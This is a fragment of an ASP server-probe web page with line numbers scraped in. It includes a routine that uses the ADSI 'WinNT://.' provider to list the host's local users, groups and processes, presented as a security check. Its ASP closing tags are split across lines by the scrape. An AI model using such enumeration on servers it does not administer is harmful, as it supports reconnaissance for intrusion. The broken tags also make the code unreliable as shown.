Response.Write "</td><td><a href=""?action=SpeedTest#SpeedTest"" title=""测试连接速度""><u>开始测试</u></a>"
814:
end if
815:
%>
816:
</td>
817:
</tr>
818:
</table>
819:
</div>
820:
</div>
821:
<%
End Sub
%
>
822:
<%
Sub SystemCheck()
%
>
823:
<div class="frame_box">
824:
<div class="item_title">
825:
<span class="item_title_head">系统用户(组)和进程检测</span>
826:
</div>
827:
<div class="item_content">
828:
<table border="0" width="98%" cellspacing="1" cellpadding="3" bgcolor="#799AE1" align="center">
829:
<tr class="item_content_head">
830:
<td colspan="2"><font face='Webdings'>4</font> 如果下面列出了系统用户(组)和进程,则说明系统可能存在安全隐患。</td>
831:
</tr>
832:
<tr bgcolor="#EFEFEF">
833:
<td width="80" align="center">类 型</td><td width="400">名称及详情</td>
834:
</tr>
835:
<%
dim obj
836:
On Error Resume Next
837:
for each obj in getObject("WinNT://.")
838:
%
>
839:
<tr bgcolor="#FFFFFF">
840:
<td align="center">
<!--
<%
=obj.path
%
>-->
841:
<%
if err=438 then Response.Write "系统用户(组)" : else Response.Write "系统进程"
%
>
842:
</td>
843:
<td>
<%
Response.Write obj.Name
844:
if not error then Response.Write " (" & obj.displayname & ")<br>" & obj.path
%
>
845:
</td>
846:
</tr>
847:
<%
err.clear
848:
next
849:
%
>
850:
</table>
851:
</div>
852:
</div>
853:
<%
854:
Response.End
855:
End Sub
%
>
856:
</body>
857:
</html>
858:
859:
860: